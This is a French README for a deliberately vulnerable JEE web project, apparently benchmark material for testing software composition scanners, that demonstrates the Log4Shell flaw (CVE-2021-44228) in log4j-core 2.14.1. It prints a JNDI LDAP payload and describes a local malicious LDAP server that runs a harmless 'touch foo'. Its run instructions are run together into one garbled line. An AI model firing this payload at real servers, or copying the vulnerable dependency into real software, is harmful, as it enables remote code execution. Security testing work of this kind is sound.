
projet web JEE avec la vulnérabilité log4shell (CVE-2021-44228)
Ceci est un simple projet web avec une vulnérabilité log4shell.
Le projet définit un simple service get scabench.HelloWorldService retournant une chaîne de texte brut hello world.
Le service n'attend pas de paramètres, et si des paramètres sont rencontrés, une erreur
est journalisée.
La dépendance vulnérable est org.apache.logging.log4j:log4j-core:2.14.1, la vulnérabilité est CVE-2021-44228.
Cela nécessite unix ou macos. Il est facile de porter ce projet vers windows.
Un test unitaire est fourni pour démontrer la vulnérabilité. Le test nécessite un serveur ldap fournissant du code vulnérable, l'exécutable correspondant est fourni par le projet, il est défini dans un projet séparé https://github.com/jensdietrich/Log4J-RCE-Proof-Of-Concept basé sur https://github.com/HyCraftHD/Log4J-RCE-Proof-Of-Concept. Le dispositif de test gérera le démarrage et l'arrêt du serveur ldap.
Le test créera un fichier foo basé sur une commande encodée intégrée dans le code du serveur ldap auquel log4j se connecte
(touch foo). Ce serveur peut être contrôlé par un attaquant.
Pour exécuter le test, construisez le projet avec mvn test.
mvn jetty:runjava -jar dodgy-ldap-server.jar (le code vulnérable téléchargera du code Java depuis ce serveur)http://localhost:8080/, ce site contient un formulaire pré-rempli avec une charge utile malveillante ${jndi:ldap://127.0.0.1/exe}foo sur le serveurIl existe plusieurs scripts sh pour exécuter différentes analyses, les rapports de résultats se trouvent dans scan-results.
Le pom.xml dispose d'un plugin pour générer un SBOM au format CycloneDX.
Pour ce faire, exécutez mvn cyclonedx:makePackageBom, le SBOM peut être trouvé dans
target/ au format json et xml.